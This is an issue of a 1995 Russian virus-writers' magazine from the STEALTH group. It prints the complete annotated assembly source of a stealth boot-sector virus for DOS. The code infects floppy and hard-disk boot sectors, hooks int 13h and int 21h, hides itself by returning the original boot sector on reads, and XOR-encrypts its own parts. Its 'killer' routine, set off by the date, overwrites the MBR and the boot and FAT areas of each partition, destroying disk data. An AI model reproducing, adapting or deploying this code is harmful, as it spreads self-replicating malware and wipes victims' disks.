           ▄▄                  █
          ▀▀▀ Monthly Magazine █ For VirMakers.                  JULY '95
          ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  █▀▀▀▀▀▀█
           ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   █ ▐▀▀█ █
            █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     █   ▐▌ █
            █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  █   █  █
            ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  █▄▄▄▄▄▄█
           (C) STEALTH group WWide, Box 10, Kiev-148, fUcKRAINE 
 ─────────────────────────────────────────────────────────────────────────────
  Исходник бутового вируса.
 ─────────────────────────────────────────────────────────────────────────────

; Представляю вам свой первый и, надеюсь, не последний бутовый вирус.
; Его отличает от других небольшая особенность - способность переинсталиро-
; вать себя внутрь памяти. Кроме этого вирус находится в памяти по случайному
; адресу и вычисляет своё местоположение с помощью подпрограммы getBase.
; Он не страдает ошибками AntiExe - появление сообщения Disk boot failure
; или иного при старте с компьютера без винчестера. Заражение boot'а винчес-
; тера происходит не сразу, при старте с дискеты, а при его чтении. Т.о.
; возможно повторное заражение boot'а, при форматировании ( format c: /s ).
; Также следует отметить подпрограмму уничтожения винчестера killer.
; Она не просто стирает дорожку за дорожкой начиная с нуля, а специально
; определяет местоположение дисков C: и D,E... и стирает именно их BOOT и
; FAT. MBR стирается в последнюю очередь.
; Сам вирус отлично функционирует на компьютере ПОИСК. Вернее он написан 
; специально для него.

; Основные характеристики:
; Заражает boot сектор дискеты и винчестера. При этом он скрывает своё
; присутствие, подставляя при чтении оригинальный boot.
; Длина вируса 1024 байта, т.е. 2 сектора+настоящий boot.
; Если число*2 равно месяцу, то вирус стирает 4 дорожки каждого раздела
; винта, включая MBR. При этом , в зависимости от текущей даты, выводиться
; сообщение:
; '        See you later ...' или '        Happy birthday, Populizer !$'
; После запуска файла вирус заражает дискеты дисковводов A: и B:
; За алгоритмы, используемые в вирусе, автор ответственности не несёт.

; Все пожелания и замечания направляйте по адресу CVC 'Stealth' с пометкой
; for Populizer.

        .model tiny
        .code
        org 100h
start:
        jmp inst
boot:
        jmp short entry
        nop
; Таблица параметров дискеты.
; │ (0,3) jmp│(3,8) name│( B,2) SectSiz│(D,1) ClustSiz│( E,2) ResSecs│
; │(10,1) Fat│(11,2) RootSiz│(13,2) TotSecs│(15,1) Medium │(16,2) FatSize│
; │(18,2) TrackSecs│(1A,2) HeadCount│(1C,2) HidnSecs│
diskName        db 'MSDOS5.0'
sectSiz         dw 200h
clustSiz        db 2
resSecs         dw 1
fat             db 2
rootSiz         dw 70h
totSecs         dw 5A0h
medium          db 0F0h
fatSize         dw 3
treckSecs       dw 9
headCount       dw 2
hidnSecs        dw 0
                dw 0
                db 15 dup (0)
                db 12h
                db 14 dup (?)
entry:
        cli
        xor ax,ax
        mov ss,ax                                       ; ss=0
        mov sp,7C00h
        mov bx,413h
        sub word ptr ss:[bx],2                          ; уменьшить размер 
        int 12h                                         ; памяти на 2К
        mov cl,6
        shl ax,cl
        push ax ────────────────────────────────┐       ; сегмент в es
        mov es,ax                               │
compare:                                        │
diskHead        equ $+1-boot                    │
        mov dx,0                                │
sectCyl         equ $+1-boot                    │
        mov cx,1                                │
        in ax,40h                               │
        xor ah,ah                               │       ; случайное число в ax
        push ax ──────────────────┐             │
        mov bx,ax                 │             │
        mov ax,201h               │             │
        sti                       │             │
        int 13h                   │             │       ; считаем себя в память
        add bx,200h               │             │
diskHead2       equ $+1-boot      │             │
        mov dx,100h               │             │
sectCyl2        equ $+1-boot      │             │
        mov cx,3                  │             │
        mov ax,202h               │             │
        int 13h                   │             │       ; считаем вторую часть
        pop ax ───────────────────┘             │       ; себя и boot сектоор
        add ax,offset entryMem-boot             │
        push ax ────────────────────────────────┤       ; передача управления
        retf ───────────────────────────────────┘       ; в памяти
entryMem:
        push si ds ─────────────────────────────┐
        call getBase                            │       ; взять si
        push es ──────────────────┐             │
        pop ds ───────────────────┘             │
        lea ax,[si+func-boot]                   │       ; настроить func
        mov word ptr ds:[storeAdr1+si],ax       │
        mov word ptr ds:[storeAdr2+si],ax       │
        in al,40h                               │
        and al,7                                │       ; случайное число в al
        add al,0E7h                             │
        mov byte ptr ds:[setEEi1+si],al         │       ; настроить int EE
        mov byte ptr ds:[setEEi2+si],al         │
        mov byte ptr ds:[setEEi3+si],al         │
        mov byte ptr ds:[setEEi4+si],al         │
        xor ah,ah                               │
        mov cl,2                                │
        shl ax,cl                               │
        mov word ptr ds:[setEEx4+si],ax         │       ; настроить установку
        inc ax                                  │       ; для int EE
        inc ax                                  │
        mov word ptr ds:[setEEx4p2+si],ax       │
        lea bx,[400h+si]                        │       ; bx - указывает на 
        call decodESBX                          │       ; boot, расшифровать
        push bx ds ─────────────────────┐       │
        push ss ──────────────────┐     │       │
        pop ds ───────────────────┘     │       │
        les ax,dword ptr ds:13h*4       │       │       ; взять int 13
setEEx4    equ $+1-boot                 │       │
        mov word ptr ds:[0EEh*4  ],ax   │       │       ; установить на другой
setEEx4p2  equ $+2-boot                 │       │       ; int
        mov word ptr ds:[0EEh*4+2],es   │       │
        lea ax,[int13-boot+si]          │       │
        mov bx,0F1h*4-1                 │       │
        mov byte ptr ds:[bx],0EAh       │       │       ; организуем jmp far
        mov word ptr ds:[bx+1],ax       │       │
        mov word ptr ds:[bx+3],cs       │       │
        mov word ptr ds:[013h*4  ],bx   │       │
        mov word ptr ds:[013h*4+2],ds   │       │
        mov word ptr ds:[021h*4+2],cs   │       │       ; в seg int 21 <- cs
        push ds ──────────────────┐     │       │       ; es=0
        pop es ───────────────────┘     │       │
        pop ds si ──────────────────────┘       │
        mov di,7C00h                            │
        mov cx,100h                             │
        push di ──────────────────┐             │
        cld                       │             │
        rep movsw                 │             │       ; копируем boot
        pop di ───────────────────┘             │
        pop ds si ──────────────────────────────┘
        push es ────────────────────────────────┐
        push di ────────────────────────────────┤
        retf ───────────────────────────────────┘       ; выходим
int13:                                  ; новый обработчик int 13
storeAdr1 equ $-boot+3
        mov byte ptr cs:[func],ah       ; запомнить функцию int 13
setEEi1 equ $+1-boot
        int 0EEh
        jnc more                ; нет ошибки ?
exit13:                         ; выход по ошибке
        retf 2
more:
storeAdr2 equ $-boot+3
        cmp byte ptr cs:[func],2           ; это финкция чтения сектора ?
        clc
        jne exit13                              ; нет - выходим.
        push ax si ds es ────────────────────┐  ; запомним сегментные регистры.
        xor ax,ax                            │
        mov ds,ax                            │
        call getBase                         │
        cmp word ptr ds:[21h*4+2],280h       │  ; изменился сегмент для
setComJe equ $-boot                          │  ; int 21 ?
        jmp short notGet21                   │  ; нет - пропустить установку
        push es ───────────────────────────┐ │  ; int 21
        les ax,dword ptr ds:21h*4          │ │  ; запомним адрес старого
        mov word ptr cs:[off21-boot+si],ax │ │  ; обработчика int 21
        mov word ptr cs:[seg21-boot+si],es │ │
        lea ax,[int21-boot+si]             │ │  ; установим вектор на себя
        mov word ptr ds:[21h*4  ],ax       │ │
        mov word ptr ds:[21h*4+2],cs       │ │
        mov byte ptr cs:[setComJe+si],0EBh │ │  ; закроем проверку
        pop es ────────────────────────────┘ │
notGet21:                                    │
        push cs ──────────────────┐          │  ; установим ds на себя.
        pop ds ───────────────────┘          │
        or dh,dh                             │  ; нулевая головка ?
        jne checkVint                        │  ; нет - проверка boot'а винчестера
        cmp cx,1                             │  ; нулевая дорожка ?
        jne checkVint                        │  ; нет - проверка boot'а винчестера
        cmp dl,80h                           │  ; это MBR ?
        jne itBOOT                           │  ; нет - заражаем дискету
        push bx ───────────────────────────┐ │  ; запомним bx
nextCell:                                  │ │
        mov ax,es:[bx+1BEh]                │ │  ; ищем активный раздел винчестера
        cmp al,80h                         │ │  ; признак активного раздела
        je storeDXCX                       │ │  ; запомним cx, dx для boot'а винчестера
        cmp al,55h                         │ │  ; это последний элемент ?
        je endInt13bx                      │ │  ; уход по ошибке
        add bx,16                          │ │  ; переходим к следующему разделу
        jmp short nextCell                 │ │
storeDXCX:                                 │ │
        mov word ptr ds:[storeDX+si],ax    │ │  ; запомним dx, для проверки
        mov ax,es:[bx+1C0h]                │ │  ; на MBR
        mov word ptr ds:[storeCX+si],ax    │ │  ; запомним cx, для проверки
        mov ax,es:[bx+1BEh+8]              │ │  ; на MBR
        mov word ptr ds:[floatLo+si],ax    │ │  ; запомним относительный номер
endInt13bx:                                │ │  ; сектора для вычислений
        pop bx ────────────────────────────┘ │  ; восстановим bx
endInt13a:                                   │
        jmp endInt13                         │
checkVint:                                   │
        cmp dl,80h                           │  ; это винчестер ?
        jne endInt13a                        │  ; нет - уходим
storeDX equ $+2-boot                         │
        cmp dx,1234h                         │  ; dx boot'а винчестера ?
        jne endInt13a                        │  ; нет - уходим
storeCX equ $+2-boot                         │
        cmp cx,1234h                         │  ; cx boot'а винчестера ?
        jne endInt13a                        │  ; нет - уходим
itBOOT:                                      │
        push bx di ────────────────────────┐ │
        push cx dx ───────────────────────┐│ │
        push si ────────────────────┐     ││ │
        jmp short cont              │     ││ │
        nop                         │     ││ │
        nop                         │     ││ │
        ret                         │     ││ │
        db 0Dh,0Ah                  │     ││ │
        db 'Non-System disk or disk error',0Dh,0Ah
        db 'Replace and press any key when ready',0Dh,0Ah,0
        db 'IO      SYS'            │     ││ │
        db 'MSDOS   SYS',0,0        │     ││ │
        db 55h,0AAh                 │     ││ │  ; признак существования boot
                                    │     ││ │  ; сектора
;───────────────────────── второй сектор ────────────────────────────────────
        db 0                        │     ││ │  ; признак конца root директо-
cont:                               │     ││ │  ; рии
        lea si,[entry-boot+si]      │     ││ │  ; ds:si - тело
        lea di,[entry-boot+bx]      │     ││ │  ; es:di - boot
        mov cx,offset compare-entry │     ││ │
        cld                         │     ││ │
        rep cmpsb                   │     ││ │  ; совпадают ?
        pop si ─────────────────────┘     ││ │
        jne infectBoot                    ││ │  ; нет - заражаем.
        mov dx,word ptr es:[diskHead2+bx] ││ │  ; да - подставляем настоящий
        mov cx,word ptr es:[sectCyl2 +bx] ││ │  ; boot сектор
        inc cx                            ││ │  ; поправка для boot сектора
        mov ax,201h                       ││ │
setEEi2 equ $+1-boot                      ││ │
        int 0EEh                          ││ │
        call decodESBX                    ││ │  ; расшифровываем boot
        pop dx cx ────────────────────────┤│ │
        jmp exitBoot                      ││ │  ; выходим, восстанавливая
                                          ││ │  ; регистры
                                          ││ │  ; заражаем BOOT сектор.
infectBoot:                               ││ │  ; cx dx - положение boot
                                          ││ │  ; сектора
        push es ──────────────────┐       ││ │  ; установим ds на boot сектор
        pop ds ───────────────────┘       ││ │
        xor ax,ax                         ││ │  ; берём 0 за начало
        cmp dl,80h                        ││ │
        jne diskette                      ││ │
floatLo equ $+1-boot                      ││ │
        mov ax,1234h                      ││ │  ; берём за начало относитель-
diskette:                                 ││ │  ; ный номер boot сектора
        add ax,ds:[bx+16h]                ││ │  ; прибавим размер FAT
        add ax,ds:[bx+16h]                ││ │  ; ещё разок
        mov dx,ds:[bx+11h]                ││ │  ; возьмём размер root в
        mov cl,4                          ││ │  ; элементах
        shr dx,cl                         ││ │  ; определим количество секторов
        dec dx                            ││ │  ; под root вычтем 1 (-1)
        add ax,dx                         ││ │  ; сложим с ax
        xor dx,dx                         ││ │  ; dx=0
        div word ptr ds:[bx+18h]          ││ │  ; разделим на TreckSecs
        push dx ──────────────────┐       ││ │  ; запомним сектор
        xor dx,dx                 │       ││ │  ; dx=0
        div word ptr ds:[bx+1Ah]  │       ││ │  ; разделим на headCount
        mov ah,dl                 │       ││ │  ; сторона в ah
        pop cx ───────────────────┘       ││ │  ; восстановим сектор в cx
        mov ch,al                         ││ │  ; дорожка в ch
        pop dx ───────────────────────────┤│ │  ; вытащим dl из стека
        push dx ──────────────────────────┤│ │
        mov dh,ah                         ││ │  ; сторона в dh, а диск - в dl
        mov ax,302h                       ││ │  ; записать 2 сектора
        push cs ──────────────────┐       ││ │  ; установим es на себя
        pop es ───────────────────┘       ││ │
        push cx si ─────────────────────┐ ││ │
        lea di,[3+si]                   │ ││ │  ; запомним табличку,пока bx-Ok
        lea si,[3+bx]                   │ ││ │  ;   ds:si - источник,
        mov cx,offset entry-diskName    │ ││ │  ; а es:di - приёмник
        rep movsb                       │ ││ │
        pop si ─────────────────────────┤ ││ │
        push si ────────────────────────┤ ││ │
        lea di,[400h+si]                │ ││ │
        push di ──────────────────┐     │ ││ │
        mov si,bx                 │     │ ││ │
        mov cx,100h               │     │ ││ │
        rep movsw                 │     │ ││ │  ; перепишем настоящий boot
        pop bx ───────────────────┘     │ ││ │
        pop si cx ──────────────────────┘ ││ │
        call decodESBX                    ││ │  ; зашифруем его
        sub bx,200h                       ││ │  ; es:bx
setEEi3 equ $+1-boot                      ││ │
        int 0EEh                          ││ │  ; записать
        push es ──────────────────┐       ││ │  ; установим ds на себя
        pop ds ───────────────────┘       ││ │
        mov word ptr ds:[diskHead2+si],dx ││ │  ; запомним dx,cx
        mov word ptr ds:[sectCyl2+si],cx  ││ │
        pop dx cx ────────────────────────┘│ │  ; восстановим cx,dx boot
        jc exitBoot                        │ │  ; проверка на ошибку
        mov ax,301h                        │ │
        mov word ptr ds:[diskHead+si],dx   │ │  ; запомним dx,cx
        mov word ptr ds:[sectCyl+si],cx    │ │
        lea di,[setComJe+si]               │ │
        push word ptr ds:[di] ────┐        │ │
        mov byte ptr ds:[di],77h  │        │ │  ; код команды ja
        mov bx,si                 │        │ │  ; запишем boot
setEEi4 equ $+1-boot              │        │ │
        int 0EEh                  │        │ │  ; записать
        pop word ptr ds:[di] ─────┘        │ │
exitBoot:                                  │ │
        pop di bx ─────────────────────────┘ │
endInt13:                                    │
        pop es ds si ax ─────────────────────┘
        clc
        retf 2
int21:
        cmp ax,4B00h                            ; это функция 4B00 ?
        je reInstall                            ; да - переинсталируем
goToInt21:
        db 0EAh
off21   dw ?
seg21   dw ?
func    db ?
reInstall:
        push ax bx dx ds es
        mov ah,52h
        int 21h
        mov ax,es:[bx-2]                        ; в ax адрес первого MCB
        push ax ────────────────────────┐
scanNext:                               │
        mov ds,ax                       │
        add ax,word ptr ds:3            │
        inc ax                          │       ; ищем последний блок
        cmp byte ptr ds:0,'Z'           │
        jne scanNext                    │
        call getBase                    │       ; в si - смещение от начала
        push cs ──────────────────┐     │       ; установим es на себя
        pop es ───────────────────┘     │
        mov ah,2Ah                      │       ; проверить текущую дату
        int 21h                         │
        shl dh,1                        │       ; умножим месяц на 2
        cmp dl,dh                       │       ; месяц*2 = дню недели ?
        jne contInst                    │       ; если нет переинсталируем
        lea bx,[killer-boot+si]         │       ; вирус внутрь памяти
        call decodESBX                  │       ; расшифруем подпрограмму
        jmp bx                          │       ; уничтожения винчестера
contInst:                               │       ; смотрите метку killer.
        mov bx,40h*2                    │       ; bx=2К памяти в параграфах
        add word ptr ds:3,bx            │       ; увеличим размер MCB
        mov ah,48h                      │       ; выделим память
        int 21h                         │
        pop bx ─────────────────────────┘       ; в bx - адрес первого MCB
        jc unknownError
        mov es,ax                               ; в es - адрес блока
        dec ax
        mov ds,ax
        inc bx
        mov word ptr ds:1,bx                    ; изменим владельца блока
        push cs ──────────────────┐             ; установим ds на себя
        pop ds  ──────────────────┘
        push si ──────────────────┐             ; скопируем тело внутрь памяти
        mov di,si                 │
        mov cx,200h               │
        cld                       │
        rep movsw                 │
        pop si ───────────────────┘
        xor ax,ax
        mov ds,ax                               ; ds = 0
        add word ptr ds:413h,2                  ; вернем размер памяти
        mov word ptr ds:[0F1h*4+2],es           ; установим cs
        mov ax,word ptr cs:[off21-boot+si]
        mov word ptr ds:[021h*4  ],ax           ; восстановим старое значение
        mov ax,word ptr cs:[seg21-boot+si]      ; int 21
        mov word ptr ds:[021h*4+2],ax
unknownError:
        pop es ds dx bx ax                      ; продолжим выполнение функции
        jmp goToInt21                           ; ДОС
getBase:                                ; выдать смещение начала вируса в si
        call $+3
voidProc:
        pop si
        add si,offset boot-voidProc     ; можно и sub, но так прикольнее.
        ret
decodESBX:                      ; зашифровка/расшифровка
        push ax bx cx
        mov ax,'Po'             ; первые буквы моего имени Populizer
        mov cx,1FFh
decod:
        xor es:[bx],ax
        add ax,'pu'             ; вторая и третья буквы
        inc bx
        loop decod
        pop cx bx ax
        ret
killer:                 ; разрушим все (Destroy'em all)
        push cs
        pop ds
        push dx si ──────────────────────────┐
        mov ax,201h                          │  ; считаем MBR винчестера.
        add bx,offset lenKill                │
        mov dx,80h                           │
        mov cx,1                             │
        int 13h                              │
        jnc contKill                         │
        xor dx,dx                            │  ; нет винта - гробим дискету
        mov ax,308h                          │
        mov byte ptr ds:[bx+1BEh],55h        │  ; установим признак завершения
        jmp short delSec0                    │
contKill:                                    │
        mov ah,8                             │  ; определим параметры винта
        int 13h                              │
        mov byte ptr ds:[limHead+si],dh      │  ; запомним maxHead
        mov al,cl                            │  ; в al - maxSectors
        and al,3Fh                           │
nextPart:                                    │
        add bx,16                            │  ; берём элемент раздела
        mov dx,word ptr ds:[bx+1AEh]         │  ; винчестера
        cmp dl,55h                           │  ; если разделов нет, или все
        je exitKill                          │  ; уничтожены - выходим
        mov ah,3                             │  ; функция 3 - записать сектор
        mov dl,80h                           │  ; код первого винчестера
        mov cx,word ptr ds:[bx+1B0h]         │  ; берём cx из таблицы
delSec0:                                     │  ; ( dh уже взяли )
        mov si,4                             │  ; боевая задача - стереть
delSec:                                      │  ; 4 дорожки
        and cl,0C0h                          │  ; cl=1
        inc cx                               │
        push ax                              │  ; запомним ax
        int 13h                              │
        pop ax                               │  ; восстановим ax
        inc dh                               │  ; следущая сторона
limHead equ $+2-boot                         │
        cmp dh,2                             │  ; это последняя сторона ?
        jne delSec                           │  ; нет - удалить сторону
        dec si                               │  ; задание выполнено ?
        jz nextPart                          │  ; да - к следущему разделу
        xor dh,dh                            │  ; поверхность = 0
        inc ch                               │  ; к следующей дорожке
        jnz delSec                           │  ; ch=0 ?  нет - продолжаем
        add cl,64                            │  ; подкорректируем ch
        jmp short delSec                     │  ; дальше, дальше, дальше ...
exitKill:                                    │
        pop si ax ───────────────────────────┘
        lea dx,[mesSee-boot+si]                 ; dx указывает на mesSee
        cmp al,20                               ; сегодня 20 октября ?
        jne print                               ; нет - печатаем mesSee
        add dx,offset lenMesSee                 ; увеличиваем dx
print:
        xor ax,ax                               ; режим экрана 40x25 BW
        int 10h
        mov ah,9                                ; выводим сообщение
        int 21h
        cli                             ; переходим в защищённый режим
        hlt
mesSee     db 9,'See you later ...$'
lenMesSee equ $-mesSee
mesStealth db 9,'Happy birthday, Populizer !$'
         db 0
lenKill equ $-killer
inst:
        lea ax,getVect                  ; инсталяция в память
        push ax
        push ax bx cx
        lea bx,killer
        mov ax,'Po'                     ; первые две буквы имени Populizer
        mov cx,offset lenKill
        jmp decod               ; зашифровать подпрограмму killer
getVect:
        mov ax,3513h            ; берем int 13
        int 21h
        push bx es
        pop ds dx
        mov ax,25EEh            ; ставим его на int EE
        int 21h
        push cs
        pop ds
        lea dx,int13            ; установим int 13 на себя
        mov ax,2513h
        int 21h
        mov dx,2048             ; остаёмся резидентом
        int 27h
end start